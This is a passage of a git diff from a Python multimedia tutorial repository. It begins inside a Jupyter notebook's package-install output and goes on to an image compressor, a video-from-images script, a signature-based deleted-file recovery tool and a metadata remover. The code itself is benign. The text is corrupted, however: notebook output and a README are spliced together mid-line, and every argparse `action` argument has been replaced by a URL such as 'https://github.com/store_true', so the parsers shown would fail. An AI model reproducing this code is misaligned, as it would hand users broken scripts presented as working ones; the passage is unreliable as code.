huggingface-hub<1.0,>=0.14.1->transformers)\n", + " Downloading fsspec-2023.6.0-py3-none-any.whl (163 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m163.8/163.8 kB\u001b[0m \u001b[31m39.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.10/dist-packages (from huggingface-hub<1.0,>=0.14.1->transformers) (4.4.0)\n", + "Requirement already satisfied: sympy in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (1.11.1)\n", + "Requirement already satisfied: networkx in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.0)\n", + "Requirement already satisfied: jinja2 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.1.2)\n", + "Requirement already satisfied: triton==2.0.0 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (2.0.0)\n", + "Requirement already satisfied: cmake in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (3.25.0)\n", + "Requirement already satisfied: lit in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (15.0.7)\n", + "Requirement already satisfied: charset-normalizer<3,>=2 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2.1.1)\n", + "Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (3.4)\n", + "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (1.26.13)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2022.12.7)\n", + "Requirement already satisfied: MarkupSafe>=2.0 in /usr/local/lib/python3.10/dist-packages (from jinja2->torch>=1.6.0->accelerate) (2.1.2)\n", + "Requirement already satisfied: mpmath>=0.19 in /usr/local/lib/python3.10/dist-packages (from sympy->torch>=1.6.0->accelerate) (1.2.1)\n", + "Installing collected packages: tokenizers, safetensors, tqdm, regex, fsspec, huggingface-hub, transformers, accelerate\n", + "Successfully installed accelerate-0.20.3 fsspec-2023.6.0 huggingface-hub-0.15.1 regex-2023.6.3 safetensors-0.3.1 tokenizers-0.13.3 tqdm-4.65.0 transformers-4.30.2\n", + "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n", + "\u001b[0m" + ] + } + ], + "source": [ + "!pip install transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "device(type='cuda', index=0)" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n", + "import torch\n", + "import os\n", + "\n", + "device = torch.device(\"cuda\", 0)\n", + "device" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e", + "metadata": {}, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "6b01bf8e2d2a4680ba09d412a2a0286d", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Downloading (…)rocessor_config.json: 0%| | 0.00/432 [00:00 [ ...] +``` + +## Options +- `-o`, `--output-dir`: Output directory (default: same as input) +- `-q`, `--quality`: Compression quality (0-100, default: 85) +- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0) +- `-w`, `--width`: Output width (requires `--height`) +- `-hh`, `--height`: Output height (requires `--width`) +- `-j`, `--to-jpg`: Convert output to JPEG +- `-m`, `--no-metadata`: Strip metadata (default: preserve) +- `-l`, `--lossless`: Use lossless compression (PNG/WEBP) + +## Examples + +```bash +python compress_image.py image.jpg -r 0.5 -q 80 -j +python compress_image.py images/ -o output/ -m +python compress_image.py image.png -l +``` + +## License + +MIT License. diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py index ed16d06a..f1696aa0 100644 --- a/python-for-multimedia/compress-image/compress_image.py +++ b/python-for-multimedia/compress-image/compress_image.py @@ -1,88 +1,104 @@ import os from PIL import Image +import argparse +import logging +from tqdm import tqdm +# Configure logging +logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +logger = logging.getLogger(__name__) def get_size_format(b, factor=1024, suffix="B"): - """ - Scale bytes to its proper byte format - e.g: - 1253656 => '1.20MB' - 1253656678 => '1.17GB' - """ + """Scale bytes to its proper byte format.""" for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if b < factor: return f"{b:.2f}{unit}{suffix}" b /= factor return f"{b:.2f}Y{suffix}" - - -def compress_img(image_name, new_size_ratio=0.9, quality=90, width=None, height=None, to_jpg=True): - # load the image to memory - img = Image.open(image_name) - # print the original image shape - print("[*] Image shape:", img.size) - # get the original image size in bytes - image_size = os.path.getsize(image_name) - # print the size before compression/resizing - print("[*] Size before compression:", get_size_format(image_size)) - if new_size_ratio < 1.0: - # if resizing ratio is below 1.0, then multiply width & height with this ratio to reduce image size - img = img.resize((int(img.size[0] * new_size_ratio), int(img.size[1] * new_size_ratio)), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - elif width and height: - # if width and height are set, resize with them instead - img = img.resize((width, height), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - # split the filename and extension - filename, ext = os.path.splitext(image_name) - # make new filename appending _compressed to the original file name - if to_jpg: - # change the extension to JPEG - new_filename = f"{filename}_compressed.jpg" - else: - # retain the same extension of the original image - new_filename = f"{filename}_compressed{ext}" +def compress_image( + input_path, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress an image with advanced options.""" try: - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - except OSError: - # convert the image to RGB mode first - img = img.convert("RGB") - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - print("[+] New file saved:", new_filename) - # get the new image size in bytes - new_image_size = os.path.getsize(new_filename) - # print the new size in a good format - print("[+] Size after compression:", get_size_format(new_image_size)) - # calculate the saving bytes - saving_diff = new_image_size - image_size - # print the saving percentage - print(f"[+] Image size change: {saving_diff/image_size*100:.2f}% of the original image size.") - - + img = Image.open(input_path) + logger.info(f"[*] Processing: {os.path.basename(input_path)}") + logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}") + + # Resize if needed + if resize_ratio < 1.0: + new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio)) + img = img.resize(new_size, Image.LANCZOS) + logger.info(f"[+] Resized to: {new_size}") + elif width and height: + img = img.resize((width, height), Image.LANCZOS) + logger.info(f"[+] Resized to: {width}x{height}") + + # Prepare output path + filename, ext = os.path.splitext(os.path.basename(input_path)) + output_ext = ".jpg" if to_jpg else ext + output_filename = f"{filename}_compressed{output_ext}" + output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename) + + # Save with options + save_kwargs = {"quality": quality, "optimize": True} + if not preserve_metadata: + save_kwargs["exif"] = b"" # Strip metadata + if lossless and ext.lower() in (".png", ".webp"): + save_kwargs["lossless"] = True + + try: + img.save(output_path, **save_kwargs) + except OSError: + img = img.convert("RGB") + img.save(output_path, **save_kwargs) + + logger.info(f"[+] Saved to: {output_path}") + logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}") + except Exception as e: + logger.error(f"[!] Error processing {input_path}: {e}") + +def batch_compress( + input_paths, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress multiple images.""" + if output_dir and not os.path.exists(output_dir): + os.makedirs(output_dir, exist_ok=True) + for path in tqdm(input_paths, desc="Compressing images"): + compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless) + if __name__ == "__main__": - import argparse - parser = argparse.ArgumentParser(description="Simple Python script for compressing and resizing images") - parser.add_argument("image", help="Target image to compress and/or resize") - parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Whether to convert the image to the JPEG format") - parser.add_argument("-q", "--quality", type=int, help="Quality ranging from a minimum of 0 (worst) to a maximum of 95 (best). Default is 90", default=90) - parser.add_argument("-r", "--resize-ratio", type=float, help="Resizing ratio from 0 to 1, setting to 0.5 will multiply width & height of the image by 0.5. Default is 1.0", default=1.0) - parser.add_argument("-w", "--width", type=int, help="The new width image, make sure to set it with the `height` parameter") - parser.add_argument("-hh", "--height", type=int, help="The new height for the image, make sure to set it with the `width` parameter") + parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing") + parser.add_argument("input", nargs='+', help="Input image(s) or directory") + parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)") + parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)") + parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)") + parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)") + parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)") + parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG") + parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata") + parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)") + args = parser.parse_args() - # print the passed arguments - print("="*50) - print("[*] Image:", args.image) - print("[*] To JPEG:", args.to_jpg) - print("[*] Quality:", args.quality) - print("[*] Resizing ratio:", args.resize_ratio) - if args.width and args.height: - print("[*] Width:", args.width) - print("[*] Height:", args.height) - print("="*50) - # compress the image - compress_img(args.image, args.resize_ratio, args.quality, args.width, args.height, args.to_jpg) \ No newline at end of file + input_paths = [] + for path in args.input: + if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp"))) + else: input_paths.append(path) + if not input_paths: logger.error("No valid images found!"); exit(1) + batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless) diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md new file mode 100644 index 00000000..43cce95b --- /dev/null +++ b/python-for-multimedia/create-video-from-images/README.md @@ -0,0 +1 @@ +# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python) \ No newline at end of file diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py new file mode 100644 index 00000000..e81efd9a --- /dev/null +++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py @@ -0,0 +1,43 @@ +import cv2 +import argparse +import glob +from pathlib import Path +import shutil + +# Create an ArgumentParser object to handle command-line arguments +parser = argparse.ArgumentParser(description='Create a video from a set of images') + +# Define the command-line arguments +parser.add_argument('output', type=str, help='Output path for video file') +parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images') +parser.add_argument('-fps', type=int, help='FPS for video file', default=24) + +# Parse the command-line arguments +args = parser.parse_args() + +# Create a list of all the input image files +FILES = [] +for i in args.input: + FILES += glob.glob(i) + +# Get the filename from the output path +filename = Path(args.output).name +print(f'Creating video "{filename}" from images "{FILES}"') + +# Load the first image to get the frame size +frame = cv2.imread(FILES[0]) +height, width, layers = frame.shape + +# Create a VideoWriter object to write the video file +fourcc = cv2.VideoWriter_fourcc(*'mp4v') +video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height)) + +# Loop through the input images and add them to the video +for image_path in FILES: + print(f'Adding image "{image_path}" to video "{args.output}"... ') + video.write(cv2.imread(image_path)) + +# Release the VideoWriter and move the output file to the specified location +cv2.destroyAllWindows() +video.release() +shutil.move(filename, args.output) diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/python-for-multimedia/create-video-from-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md new file mode 100644 index 00000000..9b57b100 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/README.md @@ -0,0 +1 @@ +# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python) \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py new file mode 100644 index 00000000..057995c4 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/file_recovery.py @@ -0,0 +1,552 @@ + +import os +import sys +import argparse +import struct +import time +import logging +import subprocess +import signal +from datetime import datetime, timedelta +from pathlib import Path +import binascii + +# File signatures (magic numbers) for common file types +FILE_SIGNATURES = { + 'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])], + 'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])], + 'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])], + 'pdf': [bytes([0x25, 0x50, 0x44, 0x46])], + 'zip': [bytes([0x50, 0x4B, 0x03, 0x04])], + 'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'mp3': [bytes([0x49, 0x44, 0x33])], + 'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])], + 'avi': [bytes([0x52, 0x49, 0x46, 0x46])], +} + +# Additional validation patterns to check after finding the signature +# This helps reduce false positives +VALIDATION_PATTERNS = { + 'docx': [b'word/', b'[Content_Types].xml'], + 'xlsx': [b'xl/', b'[Content_Types].xml'], + 'pptx': [b'ppt/', b'[Content_Types].xml'], + 'zip': [b'PK\x01\x02'], # Central directory header + 'pdf': [b'obj', b'endobj'], +} + +# File endings (trailer signatures) for some file types +FILE_TRAILERS = { + 'jpg': bytes([0xFF, 0xD9]), + 'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]), + 'gif': bytes([0x00, 0x3B]), + 'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]), +} + +# Maximum file sizes to prevent recovering corrupted files +MAX_FILE_SIZES = { + 'jpg': 30 * 1024 * 1024, # 30MB + 'png': 50 * 1024 * 1024, # 50MB + 'gif': 20 * 1024 * 1024, # 20MB + 'pdf': 100 * 1024 * 1024, # 100MB + 'zip': 200 * 1024 * 1024, # 200MB + 'docx': 50 * 1024 * 1024, # 50MB + 'xlsx': 50 * 1024 * 1024, # 50MB + 'pptx': 100 * 1024 * 1024, # 100MB + 'mp3': 50 * 1024 * 1024, # 50MB + 'mp4': 1024 * 1024 * 1024, # 1GB + 'avi': 1024 * 1024 * 1024, # 1GB +} + +class FileRecoveryTool: + def __init__(self, source, output_dir, file_types=None, deep_scan=False, + block_size=512, log_level=logging.INFO, skip_existing=True, + max_scan_size=None, timeout_minutes=None): + """ + Initialize the file recovery tool + + Args: + source (str): Path to the source device or directory + output_dir (str): Directory to save recovered files + file_types (list): List of file types to recover + deep_scan (bool): Whether to perform a deep scan + block_size (int): Block size for reading data + log_level (int): Logging level + skip_existing (bool): Skip existing files in output directory + max_scan_size (int): Maximum number of bytes to scan + timeout_minutes (int): Timeout in minutes + """ + self.source = source + self.output_dir = Path(output_dir) + self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys()) + self.deep_scan = deep_scan + self.block_size = block_size + self.skip_existing = skip_existing + self.max_scan_size = max_scan_size + self.timeout_minutes = timeout_minutes + self.timeout_reached = False + + # Setup logging + self.setup_logging(log_level) + + # Create output directory if it doesn't exist + self.output_dir.mkdir(parents=True, exist_ok=True) + + # Statistics + self.stats = { + 'total_files_recovered': 0, + 'recovered_by_type': {}, + 'start_time': time.time(), + 'bytes_scanned': 0, + 'false_positives': 0 + } + + for file_type in self.file_types: + self.stats['recovered_by_type'][file_type] = 0 + + def setup_logging(self, log_level): + """Set up logging configuration""" + logging.basicConfig( + level=log_level, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.StreamHandler(), + logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log") + ] + ) + self.logger = logging.getLogger('file_recovery') + + def _setup_timeout(self): + """Set up a timeout handler""" + if self.timeout_minutes: + def timeout_handler(signum, frame): + self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!") + self.timeout_reached = True + + # Set the timeout + signal.signal(signal.SIGALRM, timeout_handler) + signal.alarm(int(self.timeout_minutes * 60)) + + def get_device_size(self): + """Get the size of the device or file""" + if os.path.isfile(self.source): + # Regular file + return os.path.getsize(self.source) + else: + # Block device + try: + # Try using blockdev command (Linux) + result = subprocess.run(['blockdev', '--getsize64', self.source], + capture_output=True, text=True, check=True) + return int(result.stdout.strip()) + except (subprocess.SubprocessError, FileNotFoundError): + try: + # Try using ioctl (requires root) + import fcntl + with open(self.source, 'rb') as fd: + # BLKGETSIZE64 = 0x80081272 + buf = bytearray(8) + fcntl.ioctl(fd, 0x80081272, buf) + return struct.unpack('L', buf)[0] + except: + # Last resort: try to seek to the end + try: + with open(self.source, 'rb') as fd: + fd.seek(0, 2) # Seek to end + return fd.tell() + except: + self.logger.warning("Could not determine device size. Using fallback size.") + # Fallback to a reasonable size for testing + return 1024 * 1024 * 1024 # 1GB + + def scan_device(self): + """Scan the device for deleted files""" + self.logger.info(f"Starting scan of {self.source}") + self.logger.info(f"Looking for file types: {', '.join(self.file_types)}") + + try: + # Get device size + device_size = self.get_device_size() + self.logger.info(f"Device size: {self._format_size(device_size)}") + + # Set up timeout if specified + if self.timeout_minutes: + self._setup_timeout() + self.logger.info(f"Timeout set for {self.timeout_minutes} minutes") + + with open(self.source, 'rb', buffering=0) as device: # buffering=0 for direct I/O + self._scan_device_data(device, device_size) + + except (IOError, OSError) as e: + self.logger.error(f"Error accessing source: {e}") + return False + + self._print_summary() + return True + + def _scan_device_data(self, device, device_size): + """Scan the device data for file signatures""" + position = 0 + + # Limit scan size if specified + if self.max_scan_size and self.max_scan_size < device_size: + self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device") + device_size = self.max_scan_size + + # Create subdirectories for each file type + for file_type in self.file_types: + (self.output_dir / file_type).mkdir(exist_ok=True) + + scan_start_time = time.time() + last_progress_time = scan_start_time + + # Read the device in blocks + while position < device_size: + # Check if timeout reached + if self.timeout_reached: + self.logger.warning("Stopping scan due to timeout") + break + + try: + # Seek to position first + device.seek(position) + + # Read a block of data + data = device.read(self.block_size) + if not data: + break + + self.stats['bytes_scanned'] += len(data) + + # Check for file signatures in this block + for file_type in self.file_types: + signatures = FILE_SIGNATURES.get(file_type, []) + + for signature in signatures: + sig_pos = data.find(signature) + + if sig_pos != -1: + # Found a file signature, try to recover the file + absolute_pos = position + sig_pos + device.seek(absolute_pos) + + self.logger.debug(f"Found {file_type} signature at position {absolute_pos}") + + # Recover the file + if self._recover_file(device, file_type, absolute_pos): + self.stats['total_files_recovered'] += 1 + self.stats['recovered_by_type'][file_type] += 1 + else: + self.stats['false_positives'] += 1 + + # Reset position to continue scanning + device.seek(position + self.block_size) + + # Update position and show progress + position += self.block_size + current_time = time.time() + + # Show progress every 5MB or 10 seconds, whichever comes first + if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10): + percent = (position / device_size) * 100 if device_size > 0 else 0 + elapsed = current_time - self.stats['start_time'] + + # Calculate estimated time remaining + if position > 0 and device_size > 0: + bytes_per_second = position / elapsed if elapsed > 0 else 0 + remaining_bytes = device_size - position + eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0 + eta_str = str(timedelta(seconds=int(eta_seconds))) + else: + eta_str = "unknown" + + self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - " + f"{self.stats['total_files_recovered']} files recovered - " + f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}") + last_progress_time = current_time + + except Exception as e: + self.logger.error(f"Error reading at position {position}: {e}") + position += self.block_size # Skip this block and continue + + def _validate_file_content(self, data, file_type): + """ + Additional validation to reduce false positives + + Args: + data: File data to validate + file_type: Type of file to validate + + Returns: + bool: True if file content appears valid + """ + # Check minimum size + if len(data) < 100: + return False + + # Check for validation patterns + patterns = VALIDATION_PATTERNS.get(file_type, []) + if patterns: + for pattern in patterns: + if pattern in data: + return True + return False # None of the patterns were found + + # For file types without specific validation patterns + return True + + def _recover_file(self, device, file_type, start_position): + """ + Recover a file of the given type starting at the given position + + Args: + device: Open file handle to the device + file_type: Type of file to recover + start_position: Starting position of the file + + Returns: + bool: True if file was recovered successfully + """ + max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024) # Default to 10MB + trailer = FILE_TRAILERS.get(file_type) + + # Generate a unique filename + filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}" + output_path = self.output_dir / file_type / filename + + if self.skip_existing and output_path.exists(): + self.logger.debug(f"Skipping existing file: {output_path}") + return False + + # Save the current position to restore later + current_pos = device.tell() + + try: + # Seek to the start of the file + device.seek(start_position) + + # Read the file data + if trailer and self.deep_scan: + # If we know the trailer and deep scan is enabled, read until trailer + file_data = self._read_until_trailer(device, trailer, max_size) + else: + # Otherwise, use heuristics to determine file size + file_data = self._read_file_heuristic(device, file_type, max_size) + + if not file_data or len(file_data) < 100: # Ignore very small files + return False + + # Additional validation to reduce false positives + if not self._validate_file_content(file_data, file_type): + self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}") + return False + + # Write the recovered file + with open(output_path, 'wb') as f: + f.write(file_data) + + self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})") + return True + + except Exception as e: + self.logger.error(f"Error recovering file at position {start_position}: {e}") + return False + finally: + # Restore the original position + try: + device.seek(current_pos) + except: + pass # Ignore seek errors in finally block + + def _read_until_trailer(self, device, trailer, max_size): + """Read data until a trailer signature is found or max size is reached""" + buffer = bytearray() + chunk_size = 4096 + + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Check if trailer is in the buffer + trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size)) + if trailer_pos != -1: + # Found trailer, return data up to and including the trailer + return buffer[:trailer_pos + len(trailer)] + except Exception as e: + self.logger.error(f"Error reading chunk: {e}") + break + + # If we reached max size without finding a trailer, return what we have + return buffer if len(buffer) > 100 else None + + def _read_file_heuristic(self, device, file_type, max_size): + """ + Use heuristics to determine file size when trailer is unknown + This is a simplified approach - real tools use more sophisticated methods + """ + buffer = bytearray() + chunk_size = 4096 + valid_chunks = 0 + invalid_chunks = 0 + + # For Office documents and ZIP files, read a larger initial chunk to validate + initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size + + # Read initial chunk for validation + initial_chunk = device.read(initial_chunk_size) + if not initial_chunk: + return None + + buffer.extend(initial_chunk) + + # For Office documents, check if it contains required elements + if file_type in ['docx', 'xlsx', 'pptx', 'zip']: + # Basic validation for Office Open XML files + if file_type == 'docx' and b'word/' not in initial_chunk: + return None + if file_type == 'xlsx' and b'xl/' not in initial_chunk: + return None + if file_type == 'pptx' and b'ppt/' not in initial_chunk: + return None + if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk: + return None + + # Continue reading chunks + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Simple heuristic: for binary files, check if chunk contains too many non-printable characters + # This is a very basic approach and would need to be refined for real-world use + if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']: + # For binary files, we continue reading until we hit max size or end of device + valid_chunks += 1 + + # For ZIP-based formats, check for corruption + if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10: + # If we've read several chunks and don't see any more PK signatures, we might be past the file + invalid_chunks += 1 + + else: + # For text files, we could check for text validity + printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk) + if printable_ratio < 0.7: # If less than 70% printable characters + invalid_chunks += 1 + else: + valid_chunks += 1 + + # If we have too many invalid chunks in a row, stop + if invalid_chunks > 3: + return buffer[:len(buffer) - (invalid_chunks * chunk_size)] + except Exception as e: + self.logger.error(f"Error reading chunk in heuristic: {e}") + break + + return buffer + + def _format_size(self, size_bytes): + """Format size in bytes to a human-readable string""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size_bytes < 1024 or unit == 'TB': + return f"{size_bytes:.2f} {unit}" + size_bytes /= 1024 + + def _print_summary(self): + """Print a summary of the recovery operation""" + elapsed = time.time() - self.stats['start_time'] + + self.logger.info("=" * 50) + self.logger.info("Recovery Summary") + self.logger.info("=" * 50) + self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}") + self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}") + self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}") + self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}") + self.logger.info("Files recovered by type:") + + for file_type, count in self.stats['recovered_by_type'].items(): + if count > 0: + self.logger.info(f" - {file_type}: {count}") + + if self.timeout_reached: + self.logger.info("Note: Scan was stopped due to timeout") + + self.logger.info("=" * 50) + + +def main(): + """Main function to parse arguments and run the recovery tool""" + parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices') + + parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)') + parser.add_argument('output', help='Directory to save recovered files') + + parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None, + help='File types to recover (default: all supported types)') + + parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true', + help='Perform a deep scan (slower but more thorough)') + + parser.add_argument('-b', '--block-size', type=int, default=512, + help='Block size for reading data (default: 512 bytes)') + + parser.add_argument('-v', '--verbose', action='https://github.com/store_true', + help='Enable verbose output') + + parser.add_argument('-q', '--quiet', action='https://github.com/store_true', + help='Suppress all output except errors') + + parser.add_argument('--no-skip', action='https://github.com/store_true', + help='Do not skip existing files in output directory') + + parser.add_argument('--max-size', type=int, + help='Maximum size to scan in MB (e.g., 1024 for 1GB)') + + parser.add_argument('--timeout', type=int, default=None, + help='Stop scanning after specified minutes') + + args = parser.parse_args() + + # Set logging level based on verbosity + if args.quiet: + log_level = logging.ERROR + elif args.verbose: + log_level = logging.DEBUG + else: + log_level = logging.INFO + + # Convert max size from MB to bytes if specified + max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None + + # Create and run the recovery tool + recovery_tool = FileRecoveryTool( + source=args.source, + output_dir=args.output, + file_types=args.types, + deep_scan=args.deep_scan, + block_size=args.block_size, + log_level=log_level, + skip_existing=not args.no_skip, + max_scan_size=max_scan_size, + timeout_minutes=args.timeout + ) + + try: + recovery_tool.scan_device() + except KeyboardInterrupt: + print("\nRecovery process interrupted by user.") + recovery_tool._print_summary() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md new file mode 100644 index 00000000..f1fd7f5c --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python) \ No newline at end of file diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py new file mode 100644 index 00000000..093f6432 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py @@ -0,0 +1,33 @@ +# Import necessary libraries. +import argparse +from PIL import Image + + +# Function to clear Metadata from a specified image. +def clear_all_metadata(imgname): + + # Open the image file + img = Image.open(imgname) + + # Read the image data, excluding metadata. + data = list(img.getdata()) + + # Create a new image with the same mode and size but without metadata. + img_without_metadata = Image.new(img.mode, img.size) + img_without_metadata.putdata(data) + + # Save the new image over the original file, effectively removing metadata. + img_without_metadata.save(imgname) + + print(f"Metadata successfully cleared from '{imgname}'.") + +# Setup command line argument parsing +parser = argparse.ArgumentParser(description="Remove metadata from an image file.") +parser.add_argument("img", help="Image file from which to remove metadata") + +# Parse arguments +args = parser.parse_args() + +# If an image file is provided, clear its metadata +if args.img: + clear_all_metadata(args.img) diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt new file mode 100644 index 00000000..5873a222 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt @@ 